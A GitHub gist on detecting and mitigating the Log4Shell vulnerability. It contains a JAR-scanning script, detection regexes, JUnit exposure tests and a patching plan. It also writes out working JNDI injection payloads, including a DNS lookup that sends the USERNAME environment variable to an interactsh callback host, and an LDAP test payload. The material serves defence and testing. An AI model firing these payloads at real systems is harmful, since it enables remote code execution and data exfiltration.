-
-
Save righettod/ce1570954242de2f8772c6f25eece77d to your computer and use it in GitHub Desktop.
#!/bin/bash | |
######################################################################################################### | |
# Script to identify Log4J affected class for CVE-2021-44228 in a collection of EAR/WAR/JAR files | |
# Based on this script: | |
# https://github.com/righettod/toolbox-pentest-web/blob/master/scripts/identify-class-location.sh | |
######################################################################################################### | |
if [ "$#" -lt 1 ]; then | |
script_name=$(basename "$0") | |
echo "Usage:" | |
echo " $script_name [BASE_SEARCH_FOLDER]" | |
echo "" | |
echo "Call example:" | |
echo " $script_name /apps" | |
exit 1 | |
fi | |
# Constants | |
JAR_FOUND=0 | |
TARGET_CLASS_NAME="org/apache/logging/log4j/core/lookup/JndiLookup.class" | |
APP_LIBS_FOLDER=$1 | |
WORK_FOLDER=/tmp/work | |
JAR_WORK_FOLDER=/tmp/jarwork | |
NESTED_JAR_WORK_FOLDER=/tmp/nestedjarwork | |
CDIR=$(pwd) | |
# See https://unix.stackexchange.com/a/9499 | |
OIFS="$IFS" | |
IFS=$'\n' | |
# Utility functions | |
inspect_folder (){ | |
folder_location=$1 | |
for jar_lib in $(find "$folder_location" -type f -iname "*.jar") | |
do | |
inspect_jar_file "$jar_lib" | |
done | |
} | |
inspect_jar_file(){ | |
jar_file_location=$1 | |
find=$(unzip -l "$jar_file_location" | grep -c "$TARGET_CLASS_NAME") | |
if [ $find -ne 0 ] | |
then | |
JAR_FOUND=1 | |
echo "" | |
echo -e "\e[91m[!] Class found in the file '$jar_file_location'.\e[0m" | |
echo -e "\e[93m[+] Try to find the Maven artefact version...\e[0m" | |
rm -rf "$JAR_WORK_FOLDER" 2>/dev/null | |
mkdir "$JAR_WORK_FOLDER" | |
unzip -q -d "$JAR_WORK_FOLDER" "$jar_file_location" | |
chmod -R +r "$JAR_WORK_FOLDER" | |
cd $JAR_WORK_FOLDER | |
for f in $(grep -r "groupId\s*=\s*org.apache.logging.log4j" *) | |
do | |
file_loc=$(echo $f | cut -d":" -f1) | |
artefact_version=$(grep -Po "version\s*=\s*.*" "$file_loc" | sed 's/version=//g') | |
echo "File : $jar_file_location" | |
echo "Metadata file : $file_loc" | |
echo "Log4J version : $artefact_version" | |
done | |
cd $CDIR | |
rm -rf $JAR_WORK_FOLDER 2>/dev/null | |
fi | |
# Handle nested jar case | |
has_nested_jar=$(unzip -l "$jar_file_location" | grep "\.jar$" | grep -cv "Archive:") | |
if [ $has_nested_jar -ne 0 ] | |
then | |
nestedjar_lib_name="$(basename "$jar_file_location")_$RANDOM" | |
mkdir -p "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" | |
unzip -q -d "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" "$jar_file_location" | |
chmod -R +r "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" | |
inspect_folder "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" | |
fi | |
} | |
echo -e "\e[93m[+] Searching class '$TARGET_CLASS_NAME' across '$APP_LIBS_FOLDER' folder...\e[0m" | |
for lib in $(find "$APP_LIBS_FOLDER" -type f -iname "*.jar" -o -iname "*.war" -o -iname "*.ear") | |
do | |
filename=$(basename "$lib") | |
filename="$filename" | |
extension="${filename##*.}" | |
printf "\r[*] Inspecting file: %-80s" $filename | |
if [ $extension == "ear" ] | |
then | |
rm -rf $WORK_FOLDER 2>/dev/null | |
mkdir $WORK_FOLDER | |
unzip -q -d $WORK_FOLDER "$lib" | |
chmod -R +r $WORK_FOLDER | |
for war_lib in $(find $WORK_FOLDER -type f -iname "*.war") | |
do | |
war_lib_name="$(basename "$war_lib")_$RANDOM" | |
war_lib_folder="$WORK_FOLDER/$war_lib_name" | |
mkdir "$war_lib_folder" | |
unzip -q -d "$war_lib_folder" "$war_lib" | |
chmod -R +r "$war_lib_folder" | |
done | |
inspect_folder "$WORK_FOLDER" | |
rm -rf "$WORK_FOLDER" 2>/dev/null | |
fi | |
if [ $extension == "war" ] | |
then | |
rm -rf $WORK_FOLDER 2>/dev/null | |
war_lib_name="$(basename "$lib")_$RANDOM" | |
war_lib_folder=$WORK_FOLDER/$war_lib_name | |
mkdir -p "$war_lib_folder" | |
unzip -q -d "$war_lib_folder" "$lib" | |
chmod -R +r "$war_lib_folder" | |
inspect_folder "$WORK_FOLDER" | |
rm -rf $WORK_FOLDER 2>/dev/null | |
fi | |
if [ $extension == "jar" ] | |
then | |
inspect_jar_file "$lib" | |
fi | |
done | |
printf "\r%-100s" " " | |
if [ $JAR_FOUND -eq 0 ] | |
then | |
echo -e "\r\e[92m[V] Inspection finished - Class not found!\e[0m\n" | |
else | |
echo -ne "\r\e[91m[!] Inspection finished - Class found!\e[0m\n" | |
fi | |
IFS="$OIFS" | |
rm -rf "$NESTED_JAR_WORK_FOLDER" 2>/dev/null | |
exit $JAR_FOUND |
ℹ️ Initial LinkedIn post where I gathered all the information discovered about this vulnerability and affected versions.
ℹ️ I created a list of log4shell payloads seen on my twitter feeds to allows testing detection regexes defined in protection systems.
Content of the research
📚 Below are the collection of information discovered about this vulnerability and affected versions that was initially shared on the LinkedIn post above
Many prefixes are available:
Prefixes can be combined:
In recent version (2.14.1) spring
and kubernetes
prefixes were supported. For Kubernetes, access is constrained to the following information:
For the record, lower
and upper
prefixes were introduced from the version 2.13.0 of log4j2-core
. So, if an expression use such prefix, like for example ${lower:JNDI}
in version < 2.13.0 then it will be rendered AS IS: ${lower:JNDI}
Based on CERT FR documentation provided (thanks to Pierre Dewez), I performed a test on the DNS resolution with prefixes combination in a expression for data leakage via DNS because RCE is not the only problem (even if it is the most important one).
For log4j-core <= 2.7, prefixes combination in a expression seems not supported:
For log4j-core >= 2.8, prefixes combination in a expression is supported:
With the help of Sébastien Kaiser, we achieve to create a little regex to identify log4j expressions:
grep -r --include "*.log" -nwE '\$\{.*?:.*\}' .
Attempt to tune to prevent the usage of .*
failed, we did not achieve to made grep
accept it. On another side, it catch any log4j expression because they are already many bypass available/published.
Proposed regex was based on expressions seen in logs as well as the characters used for an expression:
Data exfiltration via DNS on recent version of Java (JDK 11/12/15/17) is effective:
Regarding the data exfiltration via DNS, there is a constraint on accepted characters and I did not find a prefix to encode data or a way to use a subset. The last version of log4j-core provide a Base64 prefix but it is for decoding and this new prefix is not present before the 2.5.0:
💡 So based on this to be exfiltrated via DNS, a data must have the format [0-9A-Za-z\-_]*
because (at least I have not found) there is no easy way to encode/cut/split the data to bypass this constraint.
Theoretical way to bypass the constraints above (:bangbang: POC required):
Source: https://twitter.com/0x6772/status/1471204834879672322
The following exception is raised when a DNS resolution failed, for example, if a not allowed character is used in sub domain name:
2021-12-14 07:58:14,165 main WARN Error looking up JNDI resource [dns://ab'456.c6s40maa89k6h46f3ar0cghrysoyyyyyn.interactsh.com]. javax.naming.ConfigurationException: Unknown DNS server: ab'456.c6s40maa89k6h46f3ar0cghrysoyyyyyn.interactsh.com [Root exception is java.net.UnknownHostException: No such host is known (ab'456.c6s40maa89k6h46f3ar0cghrysoyyyyyn.interactsh.com)]; remaining name '.'
at jdk.naming.dns/com.sun.jndi.dns.DnsClient.<init>(DnsClient.java:130)
at jdk.naming.dns/com.sun.jndi.dns.Resolver.<init>(Resolver.java:61)
at jdk.naming.dns/com.sun.jndi.dns.DnsContext.getResolver(DnsContext.jav
...
When the resolution succeed then the following exception can occur:
2021-12-14 07:57:58,989 main WARN Error looking up JNDI resource [dns://ab-456.c6s40maa89k6h46f3ar0cghrysoyyyyyn.interactsh.com]. javax.naming.CommunicationException: DNS error [Root exception is java.net.SocketTimeoutException: Receive timed out]; remaining name '.'
at jdk.naming.dns/com.sun.jndi.dns.DnsClient.query(DnsClient.java:316)
at jdk.naming.dns/com.sun.jndi.dns.Resolver.query(Resolver.java:81)
at jdk.naming.dns/com.sun.jndi.dns.DnsContext.c_lookup(DnsContext.java:290)
at java.naming/com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
at java.naming/com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(Generic
So, the following regex can be use to identify injection tentative (failed and some succeed) - Live Example:
(Error\slooking\sup\sJNDI\sresource\s\[.*?\])
Additional information:
- Log4j overview related software by Nationaal Cyber Security Centrum.
- log4j-core version available in the maven official repository.
- Log4j RCE CVE-2021-44228 Exploitation Detection.
- CERT CH - Zero-Day Exploit Targeting Popular Java Library Log4j.
- CERT FR advisory about log4shell.
- Talos Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild.
Code for the DNS test:
ℹ️ InteractSH Github repository.
Logger log = LogManager.getLogger(Sandbox2.class);
System.out.printf("LOG4J2 version: %s\n", log.getClass().getPackage().getImplementationVersion());
System.out.printf("Java version : %s\n", System.getProperty("java.version"));
//On linux use ${env:USER}
log.info("${jndi:dns://${env:USERNAME}.xxxxx.interactsh.com}");
Unit test case for CVE-2021-44228
The following unit tests suite can be added to a project to continuously ensure that the version used of log4j-core is not exposed to log4shell vulnerability.
package eu.righettod;
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.appender.ConsoleAppender;
import org.apache.logging.log4j.core.config.Configurator;
import org.apache.logging.log4j.core.config.builder.api.AppenderComponentBuilder;
import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilder;
import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilderFactory;
import org.apache.logging.log4j.core.config.builder.api.RootLoggerComponentBuilder;
import org.apache.logging.log4j.core.config.builder.impl.BuiltConfiguration;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.concurrent.TimeUnit;
/**
* Test suite to ensure that the current version used of log4j-core is not exposed to log4shell vulnerability for CVE-2021-44228.
*
* @see "https://www.studytonight.com/post/log4j2-programmatic-configuration-in-java-class"
* @see "https://docs.oracle.com/javase/7/docs/technotes/guides/net/properties.html"
*/
public class Log4ShellExposureTest {
private static final String TEST_PAYLOAD = "${jndi:ldap://donotexists.com/test}";
private static final String TEST_FAILED_MARKER = "Error looking up JNDI resource";
private Logger victim;
private final ByteArrayOutputStream captureStream = new ByteArrayOutputStream();
private final PrintStream currentSystemOut = System.out;
private final PrintStream currentSystemErr = System.err;
@Before
public void testSuiteSetup() throws Exception {
//Capture SystemOut and SystemErr
PrintStream ps = new PrintStream(captureStream);
System.setOut(ps);
System.setErr(ps);
//Set a SOCK nonexistent proxy to prevent any data to be sent out or any call to exit the network
System.setProperty("proxySet", "true");
System.setProperty("socksProxyHost", "10.10.10.10");
System.setProperty("socksProxyPort", "1111");
//Set a quick socket timeout to speed up the test
System.setProperty("sun.net.client.defaultConnectTimeout", "2000");
System.setProperty("sun.net.client.defaultReadTimeout", "2000");
//Setup the logger
ConfigurationBuilder<BuiltConfiguration> builder = ConfigurationBuilderFactory.newConfigurationBuilder();
builder.setStatusLevel(Level.INFO);
builder.setConfigurationName("DefaultLogger");
AppenderComponentBuilder appenderBuilder = builder.newAppender("Console", "CONSOLE").addAttribute("target", ConsoleAppender.Target.SYSTEM_OUT);
appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", "%m%n"));
RootLoggerComponentBuilder rootLogger = builder.newRootLogger(Level.INFO);
rootLogger.add(builder.newAppenderRef("Console"));
builder.add(appenderBuilder);
builder.add(rootLogger);
//Use this method if reconfigure() do not exists in the log4j2 tested version
//Configurator.initialize(builder.build());
Configurator.reconfigure(builder.build());
//Setup the logger used
victim = LogManager.getRootLogger();
//Display execution context
System.out.printf("LOG4J2 version: %s\n", victim.getClass().getPackage().getImplementationVersion());
System.out.printf("Java version : %s\n", System.getProperty("java.version"));
}
@After
public void testSuiteFinalize() throws Exception {
//Reset SystemOut and SystemErr to original ones
System.setOut(currentSystemOut);
System.setErr(currentSystemErr);
//Remove the SOCK proxy
System.getProperties().remove("proxySet");
System.getProperties().remove("socksProxyHost");
System.getProperties().remove("socksProxyPort");
//Remove socket timeout
System.getProperties().remove("sun.net.client.defaultConnectTimeout");
System.getProperties().remove("sun.net.client.defaultReadTimeout");
}
@Test
public void testExposure() throws Exception {
//Log the payload
victim.info(TEST_PAYLOAD);
//Let's time to logger to write the content to the appender and any JNDI lookup to be attempted
TimeUnit.SECONDS.sleep(10);
//Check if any JNDI lookup tentative was performed
String out = captureStream.toString(StandardCharsets.UTF_8);
//Save the output for ease debugging operations
Files.deleteIfExists(Paths.get("target", "Log4ShellExposureTest.out"));
Files.writeString(Paths.get("target", "Log4ShellExposureTest.out"), out, StandardCharsets.UTF_8, StandardOpenOption.CREATE);
//Apply assertion using the JNDI lookup marker
Assert.assertFalse("JNDI lookup tentative identified, see target/Log4ShellExposureTest.out file for details.", out.contains(TEST_FAILED_MARKER));
}
}
Execution on the unit test against log4j-core 2.14.1 (vulnerable):
Execution on the unit test against log4j-core 2.16.0 (patched):
Action plan proposal
Disclaimer
I propose the following approach to decrease the attack/exploitation surface.
Step 1: Block callback/leakage + artifact cartography
ℹ️ To be performed in parallel.
- Infrastructure team: Ensure that firewall rules defined prevent any app to establish a TCP connection to a public IP or public domain.
- Infrastructure team: Ensure that DNS resolution rules defined prevent any app to resolve a external (public) domain or sub domain.
- Infrastructure team: Add log4shell signatures in all security devices based on update provided by the associated vendor.
- Proposal:
grep -r --include "*.log" -nwE '\$\{.*?:.*\}' .
- Proposal:
- Security team: Use this script to identify occurrences of log4j affected JNDI lookup class and, by extension, any occurrence of log4j libraries (log4j-core at least) across all JAR/WAR/EAR files on systems.
- Security team: Identify the usage of the artefact org.apache.logging.log4j:log4j-core across all java projects via the maven proxy software installed (Artifactory/Nexus) in the company.
- Development team: Identify the usage of the artefact org.apache.logging.log4j:log4j-core in any java project via the source code.
Help commands for development team - On Windows, replace grep
by Select-String -pattern "xxx"
(Select-String documentation):
$ cd $PROJECT_FOLDER
# For Maven based project
$ mvn dependency:tree | grep "org.apache.logging.log4j:log4j-"
[INFO] +- org.apache.logging.log4j:log4j-core:jar:2.14.1:compile
[INFO] | \- org.apache.logging.log4j:log4j-api:jar:2.14.1:compile
# For Gradle based project
$ gradlew dependencies | grep "org.apache.logging.log4j:log4j-"
\--- org.apache.logging.log4j:log4j-core:2.14.1
\--- org.apache.logging.log4j:log4j-api:2.14.1
Step 2: Patching
Security team:
Prioritize apps to be patched by order according to their reachability by attackers and provide this order to the development team:
- Internet facing.
- DMZ 1 / DMZ 2 / DMZ x.
- Backend.
Development team:
- Ideally upgrade to version 2.16.0 of Log4J (sync all artifacts from GroupID org.apache.logging.log4j).
- If not possible AND the current version of Log4J is >= 2.10.0: Set the JVM parameter
log4j2.noFormatMsgLookup=true
. You still be exposed to the CVE-2021-45046. - If not possible AND the current version of Log4J is < 2.10.0: Upgrade is mandatory!
- Add this unit test to the project test suite to continuously ensure that the version used of log4j is not exposed to log4shell vulnerability.
Step 3: Security monitoring
- Infrastructure team: Update regularly log4shell signatures in all security devices based on update provided by the associated vendor.
- Security team: Add app logs to the SIEM in order to detect exception raised by JVM during log4shell payload tentative.
- Regex:
(Error\slooking\sup\sJNDI\sresource\s\[.*?\])
- Live example.
- Regex:
Important remark regarding vulnerability scanning
If a vulnerability scan is launched to detect log4shell exposure then ensure the following properties of the scan:
- Perform a web app scan and not an IP scan.
- Indicate the correct VHOST.
- Indicate the correct Context Path.
- Indicate the correct HTTP methods.
- Indicate the correct Path to the controllers/services.
- Indicate the correct list of parameters.
- Do not forget API: For this use the OpenAPI/WSDL descriptor to ensure that the scanner will know all the services and how to correctly call them.
This set of properties have for objective to ensure that the scanner will correctly call the endpoints with its log4shell test payloads in all supported parameters (body/header/query string) of the endpoints.
Monitor your network devices event (firewall/WAF/IPS/...) to catch payloads submitted by the scanner that will trigger the vulnerability but for which the callback or dns resolution will be blocked. Otherwise the scan will report that the target is not vulnerable and it will be a false-negative.
Additional information
- Log4j overview related software by Nationaal Cyber Security Centrum.
- log4j-core version available in the maven official repository.
- Log4j RCE CVE-2021-44228 Exploitation Detection.
- CERT CH - Zero-Day Exploit Targeting Popular Java Library Log4j.
- CERT FR advisory about log4shell.
- Talos Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild.
Note about the affected JNDI class presence
The following script was created to identify, in which jar files of a complete distribution of Log4J2, the class org.apache.logging.log4j.core.lookup.JndiLookup
is present:
#!/bin/bash
#########################################################################################################
# Script to identify Log4J affected class for CVE-2021-44228 in a distribution of LOG4J2
#########################################################################################################
# See https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core
VERSION=$1
TARGET_CLASS_NAME="org/apache/logging/log4j/core/lookup/JndiLookup.class"
DIST_URL="https://archive.apache.org/dist/logging/log4j/$VERSION/apache-log4j-$VERSION-bin.zip"
WORKDIR="/tmp/work"
WORKBIN="/tmp/log4j2.zip"
echo -e "\e[93m[+] Download and uncompress release $VERSION archive...\e[0m"
wget -q -O $WORKBIN $DIST_URL
rm -rf $WORKDIR 2>/dev/null
mkdir $WORKDIR
unzip -q -d $WORKDIR $WORKBIN
echo -e "\e[93m[+] Search class '$TARGET_CLASS_NAME' across all jar files...\e[0m"
for lib in $(find $WORKDIR -iname "*.jar")
do
find=$(unzip -l $lib | grep -c "$TARGET_CLASS_NAME")
if [ $find -ne 0 ]
then
echo "'$(basename $lib)' file contains the class."
fi
done
echo -e "\e[93m[+] Cleanup...\e[0m"
rm -rf $WORKDIR 2>/dev/null
rm $WORKBIN
Execution against the release 2.14.1:
$ bash find-jndi-class.sh "2.14.1"
[+] Download and uncompress release 2.14.1 archive...
[+] Search class 'org/apache/logging/log4j/core/lookup/JndiLookup.class' across all jar files...
'log4j-core-2.14.1.jar' file contains the class.
[+] Cleanup...
Execution against all published releases:
Utility script named test.sh
#!/bin/bash
while IFS= read -r line
do
bash find-jndi-class.sh $line
done < "versions.txt"
Execution
# "data.txt" file created using this page html content:
# https://archive.apache.org/dist/logging/log4j/
$ head -5 data.txt
[DIR] 2.0-alpha1/ 2016-05-30 04:49 -
[DIR] 2.0-alpha2/ 2016-05-30 04:49 -
[DIR] 2.0-beta1/ 2016-05-30 04:49 -
[DIR] 2.0-beta2/ 2016-05-30 04:49 -
[DIR] 2.0-beta3/ 2016-05-30 04:49 -
$ cat data.txt | cut -d'/' -f1 | cut -d' ' -f2 | sort > versions.txt
$ head -5 versions.txt
2.0
2.0-alpha1
2.0-alpha2
2.0-beta1
2.0-beta2
$ bash test.sh | grep "file contains the class"
'log4j-core-2.0.jar' file contains the class.
'log4j-core-2.0-beta9.jar' file contains the class.
'log4j-core-2.0-rc1.jar' file contains the class.
'log4j-core-2.0-rc2.jar' file contains the class.
'log4j-core-2.0.1.jar' file contains the class.
'log4j-core-2.0.2.jar' file contains the class.
'log4j-core-2.1.jar' file contains the class.
'log4j-core-2.10.0.jar' file contains the class.
'log4j-core-2.11.0.jar' file contains the class.
'log4j-core-2.11.1.jar' file contains the class.
'log4j-core-2.11.2.jar' file contains the class.
'log4j-core-2.12.0.jar' file contains the class.
'log4j-core-2.12.1.jar' file contains the class.
'log4j-core-2.12.2.jar' file contains the class.
'log4j-core-2.13.0.jar' file contains the class.
'log4j-core-2.13.1.jar' file contains the class.
'log4j-core-2.13.2.jar' file contains the class.
'log4j-core-2.13.3.jar' file contains the class.
'log4j-core-2.14.0.jar' file contains the class.
'log4j-core-2.14.1.jar' file contains the class.
'log4j-core-2.15.0.jar' file contains the class.
'log4j-core-2.16.0.jar' file contains the class.
'log4j-core-2.2.jar' file contains the class.
'log4j-core-2.3.jar' file contains the class.
'log4j-core-2.4.jar' file contains the class.
'log4j-core-2.4.1.jar' file contains the class.
'log4j-core-2.5.jar' file contains the class.
'log4j-core-2.6.jar' file contains the class.
'log4j-core-2.6.1.jar' file contains the class.
'log4j-core-2.6.2.jar' file contains the class.
'log4j-core-2.7.jar' file contains the class.
'log4j-core-2.8.jar' file contains the class.
'log4j-core-2.8.1.jar' file contains the class.
'log4j-core-2.8.2.jar' file contains the class.
'log4j-core-2.9.0.jar' file contains the class.
'log4j-core-2.9.1.jar' file contains the class.
So, focus can be made on the artifact org.apache.logging.log4j:log4j-core when searching for usage of Log4J2 in project source code / maven proxy / projet descriptor (maven, gradle).
Note about the security flags
The following script was created to identify, in which version of Log4j2, the flag log4j2.formatMsgNoLookups
or log4j2.enableJndi
were present based on sources provided with complete distribution of Log4J2:
#!/bin/bash
#########################################################################################################
# Script to identify Log4J version supporting security flags mentioned in CVE advisory
#########################################################################################################
# See https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core
VERSION=$1
DIST_URL="https://archive.apache.org/dist/logging/log4j/$VERSION/apache-log4j-$VERSION-bin.zip"
WORKDIR="/tmp/work2"
WORKBIN="/tmp/log4j2-dist.zip"
WORKSRC="/tmp/worksrc"
echo -e "\e[93m[+] Download and uncompress release $VERSION archive...\e[0m"
wget -q -O $WORKBIN $DIST_URL
rm -rf $WORKDIR 2>/dev/null
mkdir $WORKDIR
unzip -q -d $WORKDIR $WORKBIN
echo -e "\e[93m[+] Search flags across all sources files ...\e[0m"
for lib in $(find $WORKDIR -iname "*-sources.jar")
do
rm -rf $WORKSRC 2>/dev/null
mkdir $WORKSRC
unzip -q -d $WORKSRC $lib
# See https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/util/Constants.java#L67
find=$(grep -r --include "*.java" "log4j2\.formatMsgNoLookups" $WORKSRC | wc -l)
if [ $find -ne 0 ]
then
echo "'$(basename $lib)' file contains the flag: 'log4j2.formatMsgNoLookups'."
fi
# See https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java#L76
find=$(grep -r --include "*.java" "log4j2\.enableJndi" $WORKSRC | wc -l)
if [ $find -ne 0 ]
then
echo "'$(basename $lib)' file contains the flag: 'log4j2.enableJndi'."
fi
done
echo -e "\e[93m[+] Cleanup...\e[0m"
rm -rf $WORKDIR 2>/dev/null
rm -rf $WORKSRC 2>/dev/null
rm $WORKBIN
Execution against all published releases:
Utility script named test.sh
#!/bin/bash
while IFS= read -r line
do
bash find-flag.sh $line
done < "versions.txt"
Execution
# "data.txt" file created using this page html content:
# https://archive.apache.org/dist/logging/log4j/
$ head -5 data.txt
[DIR] 2.0-alpha1/ 2016-05-30 04:49 -
[DIR] 2.0-alpha2/ 2016-05-30 04:49 -
[DIR] 2.0-beta1/ 2016-05-30 04:49 -
[DIR] 2.0-beta2/ 2016-05-30 04:49 -
[DIR] 2.0-beta3/ 2016-05-30 04:49 -
$ cat data.txt | cut -d'/' -f1 | cut -d' ' -f2 | sort > versions.txt
$ head -5 versions.txt
2.0
2.0-alpha1
2.0-alpha2
2.0-beta1
2.0-beta2
$ bash test.sh | grep "file contains the flag"
'log4j-core-2.10.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.11.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.11.1-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.11.2-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.12.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.12.1-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.12.2-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.12.2-sources.jar' file contains the flag: 'log4j2.enableJndi'.
'log4j-core-2.13.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.13.1-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.13.2-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.13.3-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.14.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.14.1-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.15.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.16.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
'log4j-core-2.16.0-sources.jar' file contains the flag: 'log4j2.enableJndi'.
So based on the results above:
- Flag
log4j2.formatMsgNoLookups
can be used on Log4j2 version >= 2.10.0 (source ref). - Flag
log4j2.enableJndi
can be used on Log4j2 version 2.12.2 and 2.16.0 only (source ref).
The following script was created and used in combination of a test Maven project using this test class to identify in which version >= 2.10.0 the flag is log4j2.formatMsgNoLookups
is effective or not:
Script and POM file of the test project:
Execution with the security flag disabled to verify that the unit test is OK:
Execution with the security flag enabled to see the protection state:
So based on the results above: The flag is effective on versions >= 2.10.0.
This is a good method. But, some issues:
It doesn't work on paths with spaces.
It doesn't work on jars nested inside jars. It needs to recursively un-jar. It's not as common to have jars in jars, but can occur, and can be used with a custom ClassLoader.
Unzip can leave file permissions as unreadable by you. Do a chmod +r after unzip.
Note about formatMsgNoLookups bypass
ℹ️ This bypass was bring by the CVE-2021-45046.
Below is a POC from LunaSecIO showing the vulnerability and its exploitation context:
Source: https://twitter.com/LunaSecIO/status/1470871128843251716
A unit tests suite was created and used to perform some tests for the bypass of log4j2.formatMsgNoLookups=true
:
package eu.righettod;
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
import org.apache.logging.log4j.core.appender.ConsoleAppender;
import org.apache.logging.log4j.core.config.Configurator;
import org.apache.logging.log4j.core.config.builder.api.AppenderComponentBuilder;
import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilder;
import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilderFactory;
import org.apache.logging.log4j.core.config.builder.api.RootLoggerComponentBuilder;
import org.apache.logging.log4j.core.config.builder.impl.BuiltConfiguration;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.concurrent.TimeUnit;
/**
* Test suite to ensure that the current version used of log4j-core is not exposed to log4shell vulnerability for CVE-2021-44228
* with the "log4j2.formatMsgNoLookups=true" bypass.
*
* @see "https://www.studytonight.com/post/log4j2-programmatic-configuration-in-java-class"
* @see "https://docs.oracle.com/javase/7/docs/technotes/guides/net/properties.html"
*/
public class Log4ShellExposureTestFormatMsgNoLookupsBypass {
private static final String TEST_PAYLOAD = "${jndi:ldap://donotexists.com/test}";
private static final String TEST_FAILED_MARKER = "Error looking up JNDI resource";
private Logger victim;
private final ByteArrayOutputStream captureStream = new ByteArrayOutputStream();
private final PrintStream currentSystemOut = System.out;
private final PrintStream currentSystemErr = System.err;
@Before
public void testSuiteSetup() throws Exception {
//Capture SystemOut and SystemErr
PrintStream ps = new PrintStream(captureStream);
System.setOut(ps);
System.setErr(ps);
//Set a SOCK nonexistent proxy to prevent any data to be sent out or any call to exit the network
System.setProperty("proxySet", "true");
System.setProperty("socksProxyHost", "10.10.10.10");
System.setProperty("socksProxyPort", "1111");
//Set a quick socket timeout to speed up the test
System.setProperty("sun.net.client.defaultConnectTimeout", "2000");
System.setProperty("sun.net.client.defaultReadTimeout", "2000");
//Setup the logger
ConfigurationBuilder<BuiltConfiguration> builder = ConfigurationBuilderFactory.newConfigurationBuilder();
builder.setStatusLevel(Level.INFO);
builder.setConfigurationName("DefaultLogger");
AppenderComponentBuilder appenderBuilder = builder.newAppender("Console", "CONSOLE");
appenderBuilder.addAttribute("target", ConsoleAppender.Target.SYSTEM_OUT);
appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", "${ctx:InsecureVariable} - %m%n"));
RootLoggerComponentBuilder rootLogger = builder.newRootLogger(Level.INFO);
rootLogger.add(builder.newAppenderRef("Console"));
builder.add(appenderBuilder);
builder.add(rootLogger);
//Configurator.reconfigure(builder.build());
//Use this method is reconfigure(() do not exists in the log4j2 tested version
Configurator.initialize(builder.build());
//Enable the security flag
System.setProperty("log4j2.formatMsgNoLookups", "true");
//Setup the logger used
victim = LogManager.getRootLogger();
//Display execution context
System.out.printf("LOG4J2 version: %s\n", victim.getClass().getPackage().getImplementationVersion());
System.out.printf("Java version : %s\n", System.getProperty("java.version"));
}
@After
public void testSuiteFinalize() throws Exception {
//Reset SystemOut and SystemErr to original ones
System.setOut(currentSystemOut);
System.setErr(currentSystemErr);
//Remove the SOCK proxy
System.getProperties().remove("proxySet");
System.getProperties().remove("socksProxyHost");
System.getProperties().remove("socksProxyPort");
//Remove socket timeout
System.getProperties().remove("sun.net.client.defaultConnectTimeout");
System.getProperties().remove("sun.net.client.defaultReadTimeout");
}
@Test
public void testExposure() throws Exception {
//Ensure that the security flag is enabled
Assert.assertNotNull("Flag 'log4j2.formatMsgNoLookups' must be set!", System.getProperty("log4j2.formatMsgNoLookups"));
Assert.assertTrue("Flag 'log4j2.formatMsgNoLookups' must be enabled!", Boolean.parseBoolean(System.getProperty("log4j2.formatMsgNoLookups")));
//Log the payload
ThreadContext.put("InsecureVariable", TEST_PAYLOAD);
victim.info("Triggering...");
//Let's time to logger to write the content to the appender and any JNDI lookup to be attempted
TimeUnit.SECONDS.sleep(10);
//Check if any JNDI lookup tentative was performed
String out = captureStream.toString(StandardCharsets.UTF_8);
//Save the output for ease debugging operations
